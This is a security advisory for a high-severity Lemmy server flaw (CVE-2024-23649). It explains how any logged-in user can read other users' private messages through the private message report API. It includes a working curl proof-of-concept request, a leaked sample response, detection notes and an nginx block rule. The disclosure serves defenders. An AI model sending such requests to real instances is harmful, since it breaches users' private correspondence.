Skip to content

Any authenticated user may obtain private message details from other users on the same instance

High
dessalines published GHSA-r64r-5h43-26qv Jan 24, 2024

Package

cargo lemmy_server (Rust)

Affected versions

>=0.17.0, <0.19.1

Patched versions

0.19.1

Description

Summary

Users can report private messages, even when they're neither sender nor recipient of the message.
The API response to creating a private message report contains the private message itself, which means any user can just iterate over message ids to (loudly) obtain all private messages of an instance.
A user with instance admin privileges can also abuse this if the private message is removed from the response, as they're able to see the resulting reports.

Details

Creating a private message report by POSTing to /api/v3/private_message/report does not validate whether the reporter is the recipient of the message.
At least lemmy-ui does not allow the sender to report the message; the API method should likely be restricted to accessible to recipients only.
The API response when creating a report contains the private_message_report_view with all the details of the report, including the private message that has been reported:

Example response

In the report below, the creator with id 3 is different from the private message creator (id 2) and private message recipient (id 6).

{
  "private_message_report_view": {
    "private_message_report": {
      "id": 14,
      "creator_id": 3,
      "private_message_id": 7,
      "original_pm_text": "testfoo",
      "reason": "reporting id 7",
      "resolved": false,
      "published": "2023-12-15T19:23:03.441967Z"
    },
    "private_message": {
      "id": 7,
      "creator_id": 2,
      "recipient_id": 6,
      "content": "testfoo",
      "deleted": false,
      "read": false,
      "published": "2023-12-15T19:21:41.920872Z",
      "ap_id": "https://1b1w56.lem.rocks/private_message/7",
      "local": true
    },
    "private_message_creator": {
      "id": 2,
      "name": "admin",
      "banned": false,
      "published": "2023-12-14T23:45:05.055427Z",
      "actor_id": "https://1b1w56.lem.rocks/u/admin",
      "local": true,
      "deleted": false,
      "bot_account": false,
      "instance_id": 1
    },
    "creator": {
      "id": 3,
      "name": "testuser1",
      "banned": false,
      "published": "2023-12-14T23:47:57.571772Z",
      "actor_id": "https://1b1w56.lem.rocks/u/testuser1",
      "local": true,
      "deleted": false,
      "bot_account": false,
      "instance_id": 1
    }
  }
}

If these details were not available in the response, but reports could still be created by any user, or at least by any admin, this would allow an instance admin to create reports and obtain the message contents from the report system.

This was originally discovered from incorrect reports on a 0.18.5 instance and has been replicated in a 0.19.0 test environment.

PoC

curl -v 'https://myinstance.tld/api/v3/private_message/report' -X POST -H 'Content-Type: application/json' -H 'authorization: Bearer ...' --data-raw '{"private_message_id":1,"reason":"i like reports"}'

Impact

Any authenticated user can obtain arbitrary (untargeted) private message contents.
Privileges required depend on the instance configuration; when registratons are enabled without application system, the privileges required are practically none.
When registration applications are required, privileges required could be considered low, but this assessment heavily varies by instance.

Detection

Any private message reports where the report creator is not equal to the private message recipient may be an attempt to exploit this.
As this was originally discovered from an incorrect report, likely related to a bug in a client app, it should be noted that not all mismatching reports should be considered malicious; though a frequent occurrence of them likely indicates an exploitation attempt.

Workaround when updating is not immediately possible

If an update to a fixed Lemmy version is not immediately possible, the API route can be blocked in the reverse proxy.
This will prevent anyone from reporting private messages, but it will also prevent exploitation before the update has been applied.

nginx example:

location = /api/v3/private_message/report {
  default_type application/json;
  return 403 '{"error":"couldnt_create_report"}';
}

Severity

High

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
None
Availability
None

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

CVE ID

CVE-2024-23649

Weaknesses

Credits